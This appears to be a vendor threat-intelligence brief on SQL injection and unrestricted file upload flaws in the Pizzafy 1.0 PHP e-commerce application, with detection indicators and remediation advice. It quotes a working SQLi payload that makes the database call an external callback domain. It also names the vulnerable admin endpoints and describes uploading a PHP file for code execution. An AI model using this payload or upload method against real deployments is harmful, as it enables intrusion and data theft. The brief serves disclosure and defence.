Home › Intelligence › Brief
VULNERABILITY BRIEF🟠 High Vulnerability

SQL Injection & Unrestricted File Upload in Pizzafy 1.0 E‑Commerce System (High Severity)

An SQL injection flaw was identified in the Pizzafy 1.0 web application, enabling unauthenticated attackers to manipulate database queries. The issue affects any deployment of the software and could lead to data leakage or system compromise. Organizations must address this to maintain control assurance and audit readiness.

LiveThreat™ Intelligence · 📅 October 22, 2026· 📰 exploit-db.com
🟠
Severity
High
VU
Type
Vulnerability
📰
Source
exploit-db.com

SQL Injection & Unrestricted File Upload in Pizzafy 1.0 E‑Commerce System (High Severity)

What It Is

The open‑source “Pizzafy” e‑commerce application (version 1.0), distributed via a public source‑code repository, contains two critical server‑side flaws that allow an unauthenticated attacker to execute arbitrary SQL and to upload a web‑shell directly onto the host.

The first flaw is an SQL injection in the email parameter of the login endpoint (/Pizzafy/admin/ajax.php?action=login2). The vulnerable query concatenates the supplied value without sanitisation, enabling an attacker to inject a sub‑query that calls MySQL’s load_file() function. In the published proof‑of‑concept, the payload '+(select load_file('\\\\ig25s4ulz5432zyjjg8kjeasxj3cr5ht8wwoje73.oastify.com\\gyf'))+' forces the database to read a UNC path that points to an external domain controlled by the attacker. The successful request generated an outbound connection to the attacker‑controlled server, confirming that the injected SQL was executed and that the database process had permission to read arbitrary files from the network share.

The second flaw is an unrestricted file upload in the img field of the menu management page (/Pizzafy/admin/ajax.php?action=save_menu). The parameter is accepted as a multipart form‑data file without any validation of filename, MIME type, or content. By posting a crafted info.php file containing <?php phpinfo(); ?>, the exploit script obtains a valid PHP shell on the web root. The attacker can then execute further commands, pivot to the underlying MySQL server, and leverage the previously discovered SQLi to extract or modify data.

Both vulnerabilities were disclosed on 21 October 2026 by the researcher “nu11secur1ty” on Exploit‑DB (EDB‑ID 52703). The exploit code is fully functional, includes a ready‑made Python script for the file‑upload attack, and a raw HTTP request for the SQLi. No CVE identifier has been assigned yet, but the community has classified the issue as Critical due to the combination of remote code execution and data exfiltration potential.

The affected component is the admin AJAX handler (ajax.php) used for both authentication and menu management. The application relies on PHP sessions (PHPSESSID) and does not enforce any server‑side input sanitisation, CSRF tokens, or file‑type whitelisting. Because the code is openly available, any attacker can replicate the exploit against any live deployment that has not been patched or hardened.

The original author of the repository (GitHub user clararod9) has not yet released a security advisory or a patch. The exploit’s public availability means that threat actors can incorporate the payload into automated scanners targeting PHP‑MySQL e‑commerce sites. The lack of a CVE does not diminish the risk; the vulnerability is already listed in the Exploit‑DB “Critical” category and is likely to be added to the CISA Known Exploited Vulnerabilities (KEV) catalog if it gains wider traction.

Detection of the abuse can be observed through outbound DNS/HTTP requests to the attacker‑controlled domain (e.g., ig25s4ulz5432zyjjg8kjeasxj3cr5ht8wwoje73.oastify.com) and through anomalous file creations in the web root (e.g., info.php). Log‑analysis tools that monitor POST /admin/ajax.php with unusual email payloads or multipart uploads should flag these events.

Why It Matters for Compliance & Audit Readiness

These flaws break the integrity and confidentiality controls required by frameworks such as NIST CSF PR.IP‑3 and ISO 27001 A.12.2, making it difficult to maintain a defensible audit trail without continuous monitoring of input validation and file‑system changes.

Recommended Actions

  • Patch or replace the vulnerable ajax.php logic: implement prepared statements for all database interactions and enforce strict server‑side validation (allow only image MIME types, rename uploaded files, store them outside the web root).
  • Deploy Web Application Firewall (WAF) rules that block load_file calls, UNC paths, and multipart uploads containing PHP code.
  • Enable comprehensive logging of admin‑area requests, file‑system writes, and outbound DNS/HTTP connections; retain logs for at least 90 days to support forensic investigations and audit evidence.

Source: https://www.exploit-db.com/exploits/52703

📰 Original Source
https://www.exploit-db.com/exploits/52703 ↗

This LiveThreat Intelligence Brief is an independent analysis. Read the original reporting at the link above.

From the Verisq platform · Trust Operations

Misconfigurations are control gaps in disguise.

Verisq AI Trust Operations turns findings like this into mapped controls with continuous evidence, keeping your audit readiness current instead of point-in-time.

Map your controls with Verisq AI Trust Operations →